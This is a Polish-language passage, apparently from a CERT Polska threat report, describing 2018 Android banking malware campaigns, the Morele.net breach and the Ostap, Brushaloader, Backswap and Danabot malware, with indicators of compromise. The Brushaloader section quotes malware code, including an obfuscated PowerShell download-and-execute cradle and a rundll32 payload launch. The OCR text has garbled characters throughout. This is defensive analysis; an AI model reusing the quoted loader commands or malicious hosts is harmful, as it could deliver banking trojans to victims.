krofonu i kamery, pobieranie informaciji o lokalizacji ofiary, wykonywanie zrzutéw ekranu i dostep do
plikbw zapisanych na urzadzeniu. Ponizej przedstawiamy krotkg charakterystyke wybranych prébek,
wraz ze sposobami ich dystrybuciji.

Flaga Polski

Fatszywa aplikacja byta dostepna do pobrania ze sklepu Google Play. Malware oferowat rzeczywistg
funkcjonalno$¢, polegajgcg na mozliwosci zmiany tta na urzadzeniu. Ztosliwy kod w niewidoczny dla
uzytkownika sposoéb tgczyt sie z ustalonym przez przestepce serwerem, z ktérego pobierat jeden
z wariantow popularnego w ostatnim czasie bankbota Anubis (patrz str. 55). Na chwile obecng szko-
dliwa aplikacja nie jest juz dostepna w sklepie Google. Bazujgc na danych z nieoficjalnych serwiséw
lustrzanych mozemy wnioskowac, ze byta ona dystrybuowana w dwoch odstonach. Pierwsza wersja
aplikacji (Flaga Polski - com.kaishapp.flag.app)?® dostepna byta do pobrania na poczatku marca,
druga wersja pod nieco zmieniong nazwa (Flaga Polski - com.flag.pl.android.noad)?, widoczna byta
w markecie pod koniec kwietnia?”.

Rysunek 15. Pobieranie aplikacji z Google Play. Rysunek 16. Flaga Polski - widok po uruchomieniu.
(zrédto: Twitter: @pr3wtd)

2 https://apkgk.com/com.kaishapp.flag.app
27 https://apkpure.co/flaga-polski-com-flag-pl-android-noad/
28 https://twitter.com/pr3wtd/status/994581442222022657
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Adresy IP?%;
- 194.165.16.28:81
- 31.184.234.30

Ztosliwy payload:
- SHA256: 7f6799d4fc35759485ee5346ae767e4f9ed6432f053071a760810486f1e73a80
- SHA256: 63f716bb51055fc26ea40826d775be3373b0215b9694¢c278251c7f981b79fe2c

Instalatory aplikacji:

- Flaga Polski (com.kaishapp.flag.app)

SHA256: c408ea8a2fad9665e2422bc8ce7143e97fef7613071¢c19d64483a3e3c9cbbf18
- Flaga Polski (com.flag.pl.android.noad)

SHA256: fc359b0539bc4752fde699b7915fe379bad5e7c3436ca8ec22efe1f9bc95262e

Bankowos¢ uniwersalna Polska

O pojawieniu sie w serwisie Google Play fatszywej aplikacji, wymierzonej w uzytkownikéw polskiej
bankowosci mobilnej, poinformowat 20 marca na swoim Twitterze uzytkownik mObr3v. Ztosliwy kod
wykradat dane dostepowe i dane kart ptatniczych z 21 popularnych aplikacji bankowych. Niemal
w tym samym czasie, podobna aplikacja atakowata klientdéw korzystajgcych z aplikacji mobilnych
6 bankow rosyjskich?.

Rysunek 17. Widok aplikacji w sklepie Google Play / okno wyboru banku po uruchomieniu (zrédfo: Twitter: @mObr3v).

Wskazniki infekcji®

Instalatory aplikac;ji:

- Universal online banking Poland (tpr.gdsss.kkil) - wersja polskojezyczna

SHA256: 1da19ee46a6ba488715dd44bd165785498f001846f2f7e8d4d6¢c47¢c1d0b8e20e
- YHuBepcanbHbIn MOBUNbHbIM GaHKMHT (Xxpm.nbnvc.huoijoi) - wersja rosyjskojezyczna
SHA256: 026046f0f6fcd9031be70d5095d28dfa2f599b5e31eb5f0286e2484754548adb

Powigzane domeny:
- wecomeeu.com - wersja polskojezyczna
- wecomeru.com - wersja rosyjskojezyczna

2 https://twitter.com/pr3wtd/status/994581442222022657
20 https://twitter.com/mObr3v/status/976064735622893568
30 https://twitter.com/mObr3v/status/976064735622893568
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Certyfikat LTE 5+

W kampanii uzyto zabiegi socjotechniczne, wykorzystujgce okolicznosci wejscia w zycie Rozpo-
rzadzenia o Ochronie Danych Osobowych (RODO). Uzytkownik utrzymywat SMS z numeru Info,
ktory informowat go o koniecznosci instalacji certyfikatu LTE 5+, aby zapobiec utracie mozliwosci
dalszego wykonywania/odbierania potgczen i transmisji danych. Nadawca wiadomosci podpisywat
sie jako Operator, sugerujgc otwarcie linku prowadzgcego do strony http://vrte462.com/nieblokuj/,
gdzie miata znajdowac sig instrukcja instalac;ji*'.

Warto zaznaczyé, ze urzgdzenia z systemem Android domysinie nie pozwalajg na instalowanie apli-
kacji spoza oficjalnego sklepu Google. Uzytkownik, ktéry na wtasne ryzyko chciatby pobrac i zainsta-
lowac takg aplikacje, moze w konfiguracji zabezpieczen systemowych zaznaczy¢ opcje “Zezwdél na
instalacje aplikacji z nieznanych Zrédel” - stanowczo odradzamy tego typu rozwigzania. Nieoficjalne
sklepy z aplikacjami, a takze witryny internetowe podszywajgce sie pod znane marki, stanowig obec-
nie jedng z najchetniej stosowanych metod dystrybucji ztosliwego oprogramowania. Udostepniona
na fatszywej stronie instrukcja sktaniata uzytkownika do zmiany konfiguracji urzadzenia, a nastep-
nie pobrania i instalacji ztosliwego kodu. W wyniku btedu popetnionego przez przestepce, osoba
odwiedzajgca witryne nie miata czasu na zapoznanie sie z instrukcjg - krotko po wejsciu na strone
nastepowato przekierowanie do adresu, z ktérego pobierany byt malware®2.

Instalator ztosliwego oprogramowania wnioskowat o przydzielenie dostepu do wielu krytycznych
funkgiji:

<«— modyfikacja ustawien systemowych

<——— dostep do kontaktow
——— okreslanie geolokalizacji
<«——— wykonywanie potaczen, dostep do informacji o sieci,

numerze abonenta, statusie potaczen

<——— dostep do komunikacji SMS/MMS

<——— dostep do zawartosci karty SD

Rysunek 18. Lista uprawnient wymaganych przez instalowang aplikacje.

Ztosliwa domena, o ktdrg odpytywat uruchomiony malware, jest obecnie nieaktywna. Analiza zawar-
tych w probce artefaktow pozwala przypuszczaé, ze stanowita ona pierwszy etap (dropper) trojana
bankowego Exobot®:. Co ciekawe, niemal rownolegle prowadzona byta inna kampania (Aplikacja
UPS), odsytajgca do strony http://przesylkadodomul.]info/odbierz-paczke/, zajmujac sie dystrybucjg
tej samej probki3+.

31 https://niebezpiecznik.pl/post/sms-rodo-certyfikat-Ite/

32 https://niebezpiecznik.pl/post/sms-rodo-certyfikat-lte/

% https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/
34 https://twitter.com/pr3wtd/status/995214524851671040
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Rysunek 19. Zrzut ekranu ze strony nakfaniajgcej do zmiany konfiguracji urzadzenia i pobrania szkodliwej aplikacji
(zrédfto: Twitter - @pr3wtd).

Wskazniki infekcji®s %

Instalator aplikaciji:
- Certyfikat (ybtdrnon.lpydihglraocibnxhpw)
SHA256: 53e32d2a0347fc959388b07560994a601477d2887ad7fa1199ab0bc6815ebe17

Powigzane domeny:

- vrte62.com

- przesylkadodomu.info
- sdsdsdsdaas.tk

35 https://twitter.com/pr3wtd/status/995214524851671040
% https://niebezpiecznik.pl/post/sms-rodo-certyfikat-lte/
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Aktualizacja sterownika LTE 5.0

Niespetna 10 tygodni od momentu rozestania polskim uzytkownikom wiadomosci naktaniajgcej do
instalacji szkodliwej aplikacji z podstawionej witryny, przeprowadzono kolejng kampanie pod szyl-
dem LTE. Tym razem przestepcy naktaniali do wizyty na fatszywej stronie, wysytajagc wiadomosci
SMS lub dzwonigc do wybranych os6b®’.

Tre$¢ SMS-a sugerowata koniecznos¢ wejscia na strone http://aktualizacja-Ite5.pl w celu zapozna-
nia sie z instrukcjg aktualizacji oprogramowania. Podobny schemat zostat zastosowany przez prze-
stepcow w rozmowach telefonicznych. Atakujgcy przedstawiajgc sie ofierze jako operator sieci ko-
morkowej, thumaczyt konieczno$¢ pobrania stosownej aktualizacji. Rezygnacja z instalacji poprawki,
okreslanej jako sterownik LTE 5.0, miata skutkowaé brakiem zasiegu i brakiem mozliwosci wyko-
nywania potgczen. Na stronie zastosowano zabieg socjotechniczny, w wyniku ktérego uzytkownik
zezwalat na instalacje oprogramowania z nieoficjalnych zrédet i infekowat sie bankowym trojanem
(tym razem byt to RedAlert).®8 3

Rysunek 20. Ztosliwa aplikacja wnioskuje o zostanie administratorem urzadzenia / lista aplikacji, ktérym przydzielono uprawnie-
nia administracyjne.

Rysunek 21. Fragment komunikacji zainfekowanego urzgdzenia, prezentujgcy probe zarejestrowania sie na serwerze przestepcy.

37 https://niebezpiecznik.pl/post/aktualizacja-sterownika-lte-sms/
38 https://twitter.com/NaxoneZ/status/1019122241819283456
% https://niebezpiecznik.pl/post/aktualizacja-sterownika-lte-sms/
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Wskazniki infekcji*

Instalator aplikaciji:
- LTE 5 (com.asifdwbq3fsd.dfwiuwzifnsi)
SHA256: 76d0ce5553c43e180f327fa5142b47b61d38c85888521763b0chbf86a46895521

Adresy IP:
-46.161.42.163:7878

Powigzane domeny:
- qwngwtwitter.com
- aktualizacja-Ite5.pl

BZWBKIight

Pod koniec lipca 2018 r. w sklepie Google Play zaobserwowano fatszywg aplikacje podszywajgca
sie pod bank - BZ WBK. Narzedzie zostato przedstawione jako szybsza i bardziej uproszczona wer-
sja dotychczasowej aplikacji mobilnej banku. Do gtéwnych zadan malware’u nalezato wykradanie
danych logowania do bankowos$ci mobilnej oraz przechwytywanie kodow SMS uwierzytelniajgcych
operacje. Ztosliwe oprogramowanie byto dystrybuowane za posrednictwem sklepu Google, wyswie-
tlato sie w wynikach wyszukiwania, a takze byto promowane za pomocg reklam w Google AdWords,
w serwisie Wykop.pl oraz w mobilnych serwisach z grami*'. Ostroznos¢ uzytkownika w pierwszej ko-
lejnosci powinien wzbudzi¢ nieznany wydawca (West Corp Services) oraz adres e-mail dewelopera
1urkgroup@gmail.com - r6zny od tego, z ktérym powigzana byta oficjalna wersja aplikacji.

Rysunek 22. Fafszywa aplikacja bankowa w sklepie Google (zrodfo: Niebezpiecznik.pl).

Wskazniki infekcji‘?

Instalator aplikaciji:
- BZWBKIight (pl.zachodni.light)
SHA256: 7fe1e261ecf70d1002a7130cc74c9c4ebe7cff0d34036f13f2463d96069ba990

0 https://niebezpiecznik.pl/post/aktualizacja-sterownika-Ilte-sms/
41 https://zaufanatrzeciastrona.pl/post/uwaga-na-nieustajace-ataki-na-klientow-bz-wbk-w-sklepie-google-play/
“2 Tamze
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Kampania podszywajaca sie pod Niebezpiecznik i Orange

Pod koniec sierpnia 2018 r., na skrzynki e-mail polskich uzytkownikéw (wsréd adresatow znalazty
sie miedzy innymi osoby z adresami dostepnymi w bazie CEIDG) trafita wiadomos¢, ktérej nadawca
podszywat sie pod serwis Niebezpiecznik.pl. Autor maila informowat o masowych infekcjach, zache-
cajgc do wejscia na strone http://www.orange.pl/cybertarcza i przeskanowania urzgdzenia aplikacjg
antywirusowg*.

Rysunek 23. Witryna phishingowa podszywajgca sie pod CyberTarcze Orange (Zrédfo: Niebezpiecznik.pl).

Uzytkownik mégt dostrzec, ze przestany link zawiera celowo popetniong literéwke, prowadzgc do
podszywajacej sie pod Cybertarcze Orange phishingowej witryny http://xn--orang-nOa.pl/cybertar-
cza (adres po konwersji na punycode*). Jezeli odwiedzajgca strone osoba ulegta sugestii, ze jej
urzgdzenie wymaga skanowania, trafiata na kolejng podstrone informujgcg o wykryciu wirusa. Fat-
szywe zalecenie naktaniajgce do pobrania antywirusa prowadzito do znanej z poprzednich kampanii
instrukcji instalowania aplikacji z nieznanych Zrédet oraz odnosnika pobierajgcego bankbota Anubis.
Pobrana aplikacja przedstawiata sie jako Uber App - nie pasujgca do kontekstu nazwa moze suge-
rowaé wykorzystanie probki w wiecej niz jednej kampanii.

Wskazniki infekcijit

Instalator aplikaciji:
- Uber App (cihomy.iatfxismdobcaqgqg.yikltdmmxgizz)
SHA256: 849fc58b3a7310f67f98b94259b9c4f2f2beb28fd0ef5b8092d77ece9fd3fc40

Powigzana domena:
- xn--orang-n0a.pl/cybertarcza

Adresy URL:
- http://ktosdelaetskrintotpidor.com
- http://sositehuypidarasi.com

4 https://pl.wikipedia.org/wiki/Punycode
4 https://niebezpiecznik.pl/post/atak-orange-niebezpiecznik-cybertarcza/
4 Tamze
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InPost

Regularnie obserwowanym scenariuszem dystrybucji ztosliwego oprogramowania jest podszywanie
sie przestepcow pod firme kurierskg lub dostawce przesytek. Na poczatku listopada zaobserwo-
walismy kampanie polegajacg na podszywaniu sie pod operatora sieci paczkomatéw InPost. Atak
polegat na przestaniu wiadomosci SMS do uzytkownika z informacjg o oczekujgcej przesytce i od-
nosnikiem do fatszywej domeny.

Rysunek 24. Domena ze zmienionym znakiem, prowadzgca do serwera kontrolowanego przez przestepcow.

Link przekierowywat na strone, gdzie mozna byto pobrac i zainstalowac¢ aplikacje z nieoficjalnych
zrodet. Instalujgc aplikacje (narzedzie do $ledzenia przesytek), uzytkownik infekowat sie jednym
z wariantoéw trojana bankowego Anubis, tgczgcego w sobie ztosliwego bankera, narzedzie typu RAT
i oprogramowanie ransomware.

Rysunek 25. Phishingowe strony podszywajgce sie pod InPost.
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Instalator aplikacii:

- Android Service (com.aqgkigxqck.jovgek)

SHA256: dfd28df17b6e1d3d9f1e71847358acc952032bba972d96b3ba6705e6d3f7c1e5
- InPost (com.voxrycgojujq.staxms)

SHA256: c250640d2c57be3c80defbad17c9801b4083a7b438dbe46dc8bb0687a3515a7b

Powigzane domeny:
- ingost.pl
- paczkomaty.tk

Adresy URL:

- https://twitter.com/Sh666Ca

- https://twitter.com/Paulina39484624

- http://krcbkushr8sushofurnkhufkjvnstgvt.com
- http://ktosdelaetskrintotpidor.com

- http://sositehuypidarasi.com

Wyciek danych ze sklepu Morele.net

20 grudnia 2018 r. natamach serwisu Wykop.pl pojawita sie relacja*’ z proby szantazu przedstawicieli
sklepu internetowego Morele.net. Autor wpisu przedstawit korespondencje prowadzong z pracowni-
kami oraz dowody na przetamanie zabezpieczen serwera sklepu, dzieki czemu wykradt baze danych
uzytkownikow. Byty to m.in. imie i nazwisko, adres e-mail, numer telefonu i hasto w niejawnej formie
(hash). Za nieujawnianie informacji o wtamaniu, zazgdat okupu w kwocie 15 BTC, co przy kursie
z tamtego dnia wynosito 200 tys. PLN.

»,Cze$¢ wykopkowicze. Ostatnio natkngtem sie na pewien otwarty serwer
i byt to serwer morele net, niezabezpieczone zadne porty, otwarty php-
myadmin i najcudowniejszy framework na $wiecie, ktory jest wystawiany
na Swiatto dzienne.”

47 http:/lwww.wykop.pl/ramka/4704903/morele-net-historia-by-xarm/
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Rysunek 26. Fragment rozmowy wlamywacza z przedstawicielami Morele.net opublikowane w serwisie Wykop.pl.

Co ciekawe, juz miesigc wczesniej (przynajmniej od 21 listopada 2018 r.) klienci sklepu otrzymywali
wiadomosci SMS naktaniajgce do doptaty niewielkiej kwoty do zamdwienia. W tresci znajdowat sie
link prowadzgcy do fatszywej bramki dotpay. Mechanizm dziatania tego oszustwa polega na wytu-
dzeniu danych do bankowosci elektronicznej. W czasie rzeczywistym ztodzieje logujg sie do banku
ofiary, dodajg odbiorce zaufanego i przy uzyciu bramki wyswietlajg prosbe o podanie kodu SMS.
Nieswiadomi uzytkownicy bardzo czesto przepisujg kod, nie czytajgc tresci wiadomosci. Najczesciej
po takim zabiegu mozliwe jest catkowite opréznienie konta ofiary, bez potrzeby uwierzytelniania
drugim sktadnikiem (por. str. 61).

Rysunek 27. Fatszywy SMS (zrédfo: zaufanatrzeciastrona.pl).
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Poczgtkowym wektorem ataku najprawdopodobniej byt niezabezpieczony dostep do interfejsu de-
weloperskiego aplikacji sklepu. Umozliwiato to odczyt plikéw konfiguracyjnych, zawierajgcych dane
dostepowe do serwera bazodanowego.

10 stycznia 2019 r. na stronie Urzedu Ochrony Danych Osobowych pojawita sie informacja“*® o roz-
poczeciu czynnosci, ktére majg ocenic¢ dziatalnos¢ Morele.net pod kgtem przestrzegania przepiséw
o ochronie danych.

Ostap

Aktywnos¢ obserwujemy od 2016 roku. Jest to dropper napisany w jezyku skryptowym JScript. Na
poczatku stanowit dos¢ prosty skrypt charakteryzujgcy sie specyficzng obfuskacjg, ktéry okresowo
pojawiat sie na skrzynkach polskich internautéw, dystrybuujgc réznego rodzaju bankery, takie jak
KBot czy ISFB.

W kolejnych kampaniach dropper stopniowo ewoluowat, nabierajgc cech samodzielnego zto$liwego
oprogramowania. W skrypcie pojawity sie takie funkcje jak:

+ detekcja czy malware nie jest wykonywany w sandboxie
* mechanizm aktualizacji
+ dodawanie skryptu do autostartu

W swoim najnowszym wydaniu Ostap jest szeroko dystrybuowany w kampaniach fatszywych faktur

i stat sie jedng z najaktywniejszych rodzin zto$liwego oprogramowania w Polsce w pierwszej potowie
2018 .

Rysunek 28. Przykiad wiadomo$ci e-mail z kampanii Ostap.

8 https://luodo.gov.pl/pl/138/644
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Skrypt rozsytany byt w postaci skompresowanego zatgcznika (bedgcego rzekomg fakturg) dotg-
czonego do wiadomosci. Pomimo rozszerzenia RAR, archiwum byto w rzeczywistosci w formacie
ACE, co miato na celu zmyli¢ narzedzia analityczne sugerujgce sie rozszerzeniem pliku. Mimo tego,
program WIinRAR byt w stanie rozpoznac¢ format archiwum nie biorgc pod uwage wadliwego rozsze-
rzenia i umozliwi¢ ofierze rozpakowanie skryptu.

Ostap znajdowat sie w archiwum pod postacig pliku JSE, ktéry byt zakodowanym skryptem w jezyku
JScript (JScript.Encoded). Ze wzgledu na zastosowang metode zaciemnienia, plik po wypakowaniu
charakteryzowat sie duzym rozmiarem, przekraczajgcym kilkaset kilobajtow.

Dropper uzywany byt do dystrybucji takich rodzin ziosliwego oprogramowania jak Nymaim
i Backswap. Oba bankery wykorzystywane byly przez przestepcéw naprzemiennie — przez pewien
czas Ostap instalowat oprogramowanie Nymaim, nastepnie zndw przez jaki$ czas dystrybuowat
Backswapa.

Rysunek 29. Ztosliwe oprogramowanie dystrybuowane przez Ostap (probki oznaczone jako Tinba stanowig probki Backswapa).

Kampanie ztosliwego oprogramowania zakohczyty sie rownie nagle, jak sie pojawity. CERT Polska
zauwazyt wygaszenie aktywnosci Ostapa w okolicach lipca 2018 r. W drugiej potowie roku Ostap
zostat wyparty z pozyciji lidera przez dropper Brushaloader (opisywany w raporcie w kolejnym roz-
dziale).

Artykut analizujgcy rozwdj droppera Ostap na przestrzeni lat mozna znalez¢ na naszej stronie®.

Brushaloader

Brushaloader to dropper napisany w jezyku skryptowym VBScript, wykorzystywany w kampaniach
mailingowych wymierzonych w polskich uzytkownikéw. Pierwsze kampanie wykorzystujgce Brusha-
loadera zostaty dostrzezone w czerwcu 2018 r.

Tres¢ rozsytanych maili zazwyczaj byta krotka i dotyczyta rzekomej faktury znajdujgcej sie w zatgcz-
niku, w postaci archiwum badz bezposrednio jako plik .vbs.

4 https://lwww.cert.pl/news/single/analiza-zlosliwego-oprogramowania-ostap-backswap-dropper/
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Rysunek 30. Przyktadowa wiadomo$¢ zawierajgca Brushaloadera®.

W innej wersji Brushaloader byt dystrybuowany przez linki postaci http://green.dork-tower.com/oce-
an/ms.php?email=2b1d1@abb22. Odnos$niki prowadzity do strony, ktéra zawierata skrypt JavaScript
przekierowujgcy uzytkownika pod inny adres, z ktérego finalnie pobierany byt plik ze ztosliwym opro-
gramowaniem. Taki zabieg miat prawdopodobnie utrudni¢ dotarcie do koricowej domeny przez ser-
wisy do zgtaszania stron phishingowych, na przyktad PhishTank, ktére podgzajg automatycznie za
przekierowaniami.

W adresie URL wida¢ réwniez parametr e-mail o wartosci 2b1d1@abb22. Podejrzewamy, ze war-
tos¢ ta stanowi losowo generowany tag pozwalajgcy na korelowanie rozsytanych maili z zapytania-
mi, ktére przychodzg do serwera dystrybuujgcego ztosliwy kod.

Skrypt Brushaloader charakteryzuje sie stosunkowo niewielkim rozmiarem, zwykle nieprzekraczajg-
cym 1 kB. tancuchy znakéw zawierajgce adresy dystrybucyjnie nie sg zaciemnione i mozna w pro-
sty sposdb odczytac je bezposrednio z kodu. Innym charakterystycznym elementem jest dodatkowo
doklejany kod liczacy n-tg liczbe Fibonacciego. Kod skryptu tgczy sie z zapisanym na state w kodzie
adresem URL wiele razy, za kazdym razem uruchamiajgc otrzymang komende.

Function zmyFaxPc ()
On Error Resume Next
While true
dim faxurls, faxdate
faxdate = FormatDateTime (Now, vbLongTime)
faxurls = ,http://107.175.83.15/faxid/633738805/” + faxdate
WScript.Sleep 10000
Call zMessage (faxdate, faxurls)
Wend
End Function

\

zmyFaxPc ()

Rysunek 31. Fragment skryptu Brushaloadera®'.

50 https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/
51 SHA256: a9ae43a208a2100fe6a83b009c907d812e3b726a7cb3e4c18f2835e6b2117792
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Charakterystycznym elementem dla Brushaloadera jest wysytanie ztosliwych komend przez serwer
dopiero po otrzymaniu odpowiedniej liczby zadan. Odpowiedz na pierwsze Zzgdania w pierwszych
wersjach stanowity losowo generowane liczby, obecnie czesciej wysytana jest komenda Sleep, roz-
kazujgca programowi czeka¢. Czas aktywno$ci pojedynczego serwera jest krotki, serwer zazwyczaj
przestaje odpowiadac po kilku dniach aktywnosci. W celu zapamietywania liczby zapytah wykona-
nych przez konkretnego klienta nie sg wykorzystywane Zadne mechanizmy sesyjne - zamiast tego
przestepcy uzywajg adresow IP ofiar.

Cata logika dystrybucji zaimplementowana jest po stronie serwera. Skutkuje to trudnoscig w przewi-
dzeniu zachowania droppera. W ten sposdb dochodzi réwniez do opdznienia instalacji kohcowego
ztodliwego oprogramowania, co utrudnia proces analizy przez sandboxy (zautomatyzowane izolo-
wane $rodowiska). Po kilkunastu zapytaniach otrzymujemy docelowy payload.

Przyktadowa sekwencja odpowiedzi na kolejne zapytania wyglgda nastepujgco:

1.
2.
3.
4.

WScript.Sleep 8000

WScript.Sleep 8000

Dim Pizdel2323, pow231323, pow2234234, nnnnl2313:set ZFjkk68932
= CreateObject(,shell.application”) :Pizdel2323 =, SQBFAFgAIA-
AoAE4AZQB3ACOATWBiAGOAZQOBjAHQATIABOAGUAJAAUAFCAZQBiAEMADABPAGU-
AbgBOACkALgBEAG8AdWBUAGWAbWBhAGQAUWBOAHIAaQBUAGCAKAANAGgAdA-
BOAHAACWAG6ACS8ALWBOAGMACABZAG8ACABOAGS8ALQBZAC4AaQBUAGYADWAGADQA-
NAAZAC8AYWBOAGSAZQBzZAG8ACWBVAGQALWBkKAGS8AdwBUAHMALWBOAHMAeABGA-
ESAQOBNACCAKQATAA==":pow231323 = ,cm”:pow2234234 = pow231323 +
»d”7:nnnnl2313 = 0:Z2Fjkk68932.ShellExecute pow2234234, ,, /c po~w"er”
+ ,shell -E”nc , + Chr(34) + Pizdel2323 + Chr(34) + ,”, ,”, .,open”,
nnnnl2313:set ZFjkk68932 = nothing

Dim ztempfolder:Dim mfso:Dim tobjXML:Dim aobjDocElem:Dim lob-
jStream:Dim FileName:Const MAadSaveCreateOverWrite = 2 :Const
MsadTypeBinary = 1:Set mfso = CreateObject(,Scripting.FileSys-
temObject”) :ztempfolder = mfso.GetSpecialFolder (2) :Set tobjXML =
CreateObject (,MSXml2.DOMDocument”) :Set aobjDocElem = tobjXML.cre-
ateElement (,Base64Data”) :aobjDocElem.DataType = ,bin.base64”:aob-
jDocElem.text = ,TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAAAAAAAARAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAALOQAA4ftANNIbgBTMOhkJIBUAGL ~
zIHByb2d..”

Dim  KobjShell, DobjFso, zdtempfolder, SFileName:Set Kobj-

Shell = CreateObject(,Shell.Application”) :Set DobjFso= Create-
Object (,Scripting.FileSystemObject”) :Set zdtempfolder = Dobj-
Fso.GetSpecialFolder (2) :SFileName = zdtempfolder + ,\xPZAUSLEQ.

dll1”:KobjShell.ShellExecute »C:\Windows\System32\rundl132.exe”,
zdtempfolder + ,\xPZAUSLEqg.dl1l,f1”, ,”, ,open”, 1:Set KobjShell =
Nothing:Set DobjFso = Nothing:Set zdtempfolder = Nothing:

Otrzymana seria komend:

+ Linia 4 wykonuje polecenie w powtoce Powershell, pobrane spod odpowiedniego adresu:

IEX

(New-Object Net.WebClient).DownloadString( ,https://tcpsoptoms.

info:443/chkesosod/downs/tsxzKAg') ;

+ Linia 5 zapisuje na komputerze plik DLL, przekazany w postaci zakodowanej Base64.

* Kolejna linia uruchamia plik z punktem wejscia o nazwie “f1”. W tym przypadku instalowanym
ztosliwym oprogramowaniem jest banker Danabot.
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Brushaloader pobiera i instaluje takie rodziny ztosliwego oprogramowania jak Danabot, Backswap
czy ISFB/Gozi. Pierwsze dwa z wymienionych réwniez opisaliSmy w tym raporcie (por. str. 52 - 53).

Backswap

Backswap jest bankerem, ktéry pojawit sie w Polsce pod koniec pierwszego kwartatu 2018 r.
To wariant znanego od dawna oprogramowania o nazwie Tinba (od ,tiny banker”), ktérego cechg
charakterystyczng jest niewielki rozmiar (mieszczgcy sie zazwyczaj w zakresie 10-50 kB). Na po-
czatku dystrybuowany byt za posrednictwem droppera Ostap, ktory rozsytany byt w kampaniach
mailowych zwigzanych z fatszywymi fakturami.

Podobnie jak w przypadku Danabota, omawiany banker wyrdznia sie nietypowg technikg wstrzyki-
wania kodu JavaScript na strone banku. W tym celu Backswap wykorzystuje mechanizmy dostepne
dla kazdego uzytkownika przeglgdarki, symulujgc dziatania uzytkownika.

Na poczgtku wykonania aktywnie $ledzi dziatania ofiary, w petli odpytujgc system operacyjny o to,
jakie okno jest w danym momencie “na wierzchu”. W sytuacji, gdy jest to przegladarka z otwartg
strong znajdujaca sie na liscie celéw (np. strona banku), ztosliwe oprogramowanie wstrzykuje kod
JavaScript. Backswap zamiast ingerowa¢ w pamie¢ skojarzonego procesu, uzywa skrotéw klawi-
szowych, aby wklei¢ kod do konsoli deweloperskiej bgdz paska adresu z dodanym prefixem “ja-
vascript:”. Wszystko dzieje sie poza widokiem uzytkownika, gdyz Backswap w pierwszej kolejnosci
ukrywa okno przegladarki poprzez zmiane jego widocznosci na utamek sekundy.

Tak przeprowadzony atak najbardziej przypomina self-XSS, polegajgcy na sktonieniu uzytkownika
do samodzielnego wklejenia i uruchomienia ztosliwego kodu, pozwalajgc atakujacemu na przejecie
sesji. Niektore portale, takie jak np. Facebook, bronig sie przed tym atakiem, wyswietlajgc odpowied-
ni komunikat przy otwarciu konsoli deweloperskiej.

Rysunek 32. Komunikat wyswietlany w konsoli deweloperskiej na portalu Facebook.

W przypadku Backswapa, wklejanie i uruchamianie kodu przebiega automatycznie, poprzez symu-
lowane akcje klawiatury. Ostrzezenia w tym wypadku sg nieskuteczne, a zablokowanie tego rodzaju
ataku wymagatoby blokowania funkcji udostepnianych przez interfejs przegladarki.

Réwnie nieszablonowe podejscie zastosowano przy przechowywaniu payloadu. Backswap wyko-
rzystywat do tego celu obrazy w formacie BMP, wewnatrz ktorych ukrywany byt ztosliwy kod.
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Rysunek 33. Po prawej przyktadowy plik BMP uzywany przez Backswapa po lewej - oryginalne zdjecie®.

Szczegoty techniczne dot. Backswapa zaprezentowaliSmy na naszym blogu®3.

Danabot

W maju 2018 r. odkryto®* nowg rodzine trojanéw bankowych o nazwie Danabot, skierowang do
m.in. polskich uzytkownikdw bankowo$ci elektronicznej. Liczba zgtoszen infekcji i ilo§¢ kampanii
z udziatem tego bankera byta niewatpliwie najwieksza wzgledem innych zaobserwowanych przez
nas zagrozen.
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Wykres 3. Liczba infekcji zaobserwowanych przez oprogramowanie ESET®.

Danabot posiada wiele cech typowych dla wspdtczesnych bankeréw - budowe modutowg oraz do-
brze rozwiniety sposdb dostarczania konfiguracji i modutéw. Konfiguracja modutu odpowiadajgcego
za wstrzykiwanie ztosliwego kodu na strone banku dostarczana jest w formacie wywodzgcym sie
z oprogramowania Zeus, stosowanym rowniez przez inne popularne w Polsce bankery, takie jak
ISFB czy Nymaim. Oprécz webinjectéw, konfiguracja zawierata réwniez listy nazw proceséw pozwa-
lajgcych na obstuge portfeli kryptowalutowych.

52 https://research.checkpoint.com/the-evolution-of-backswap/

5 https://www.cert.pl/news/single/analiza-zlosliwego-oprogramowania-backswap/

54 https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0
% https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/
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Wektorem ataku byly kampanie mailingowe. Trojan pobierany byt zazwyczaj przez dropper Brusha-
loader (por. str. 49). Czasami zdarzato sie jednak, ze w zatgczniku zamieszczany byt bezposrednio
plik wykonywalny Danabota, realizujgcy pierwszy etap infekgji.

Danabot zostat napisany w jezyku Delphi. Ztosliwe oprogramowanie jest intensywnie rozwijane
przez twércow, co zaowocowato pojawieniem sie jego licznych wersji. Regularnie powiekszano réw-
niez zbidr modutéw, wzbogacajgc wachlarz mozliwo$ci ztoliwego oprogramowania.

Moduty realizowaty takie funkcje jak:

+ komunikacja za posrednictwem sieci TOR

+ swobodny dostep do zaatakowanego komputera poprzez uruchomienie serwera RDP

*  podstuchiwanie ruchu sieciowego

+ wykradanie lokalnych profili zawierajgcych dane logowania (w tym hasta, m.in. Google Chrome,
Mozilla Firefox, Opera)

Potgczenia z serwerem C&C realizowane sg na porcie TCP/443. Zamiast sugerowanego przez nu-
mer portu protokotu HTTPS, do komunikacji wykorzystywany jest autorski protokét.

Mechanizm implementowania webinjectéw rézni sie od realizowanego zazwyczaj przez bankery
ataku Man-in-the-Browser. W tym przypadku, Danabot realizuje atak Man-in-the-Middle i wstrzykuje
ztosliwy kod na strone banku, wykorzystujgc do tego lokalny serwer proxy. Danabot posredniczy
w komunikacji HTTPS, modyfikujgc odpowiedzi zgodnie z konfiguracjg otrzymang od serwera C&C.
W systemie instalowany jest zaufany urzgd certyfikacji, aby nie wzbudzi¢ zastrzezen przegladarki
co do certyfikatu.

Atak MitM moze by¢ zauwazony przez uzytkownika, poniewaz banki zazwyczaj uwierzytelniajg sie
certyfikatem rozszerzonej walidacji (EV SSL), co jest sygnalizowane przez przegladarke poprzez
wyswietlenie nazwy banku w pasku adresu.

Rysunek 34. Pasek domeny strony internetowej zabezpieczonej TLS.

Rysunek 35. Pasek domeny strony internetowej z certyfikatem rozszerzonej walidacji (EV SSL).

Fatszywe certyfikaty podstawiane przez Danabota nie sg certyfikatami EV, poniewaz lista urzedow
wydajgcych takie certyfikaty jest z géry zdefiniowana i nie moze by¢ w prosty sposéb zmodyfikowana
